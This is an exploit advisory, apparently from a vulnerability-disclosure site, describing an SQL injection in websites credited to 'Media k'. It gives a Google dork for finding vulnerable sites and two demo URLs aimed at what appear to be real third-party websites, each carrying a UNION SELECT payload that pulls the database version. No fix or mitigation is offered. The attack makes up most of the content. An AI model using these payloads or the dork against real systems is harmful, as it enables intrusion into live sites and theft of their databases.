Media k - Sql Injection Vulnerability

2022.01.04

behrouz mansoori (IR)

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

Dork: "Designed and Developed by Media k"

*********************************************************
#Exploit Title: Media k -  Sql Injection Vulnerability
#Date: 2021-01-03
#Exploit Author: Behrouz Mansoori
#Google Dork: "Designed and Developed by Media k"
#Category:webapps
#Tested On: windows 10, Firefox
 
 
Proof of Concept:
Search google Dork: "Designed and Developed by Media k"


### Demo :

http://www.mohamedtirani.info/articleinner.php?id=-18%20union%20select%201,version(),3,4,5,6,7,8,9--

http://www.archconsulting.com.lb/clientinner-ar.php?id=-2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,version(),30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47--

********************************************************* 
#Discovered by: Behrouz mansoori
#Instagram: Behrouz_mansoori
#Email: mr.mansoori@yahoo.com
*********************************************************

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Media k - Sql Injection Vulnerability

Dork: "Designed and Developed by Media k"

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.